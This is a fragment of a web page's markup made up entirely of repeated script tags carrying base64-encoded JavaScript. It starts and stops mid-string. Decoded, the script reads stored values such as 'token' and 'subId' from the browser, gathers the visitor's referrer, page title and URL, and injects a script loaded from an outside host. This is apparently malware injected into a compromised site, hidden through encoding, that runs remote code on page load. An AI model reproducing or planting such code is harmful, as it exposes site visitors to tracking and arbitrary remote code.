GluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG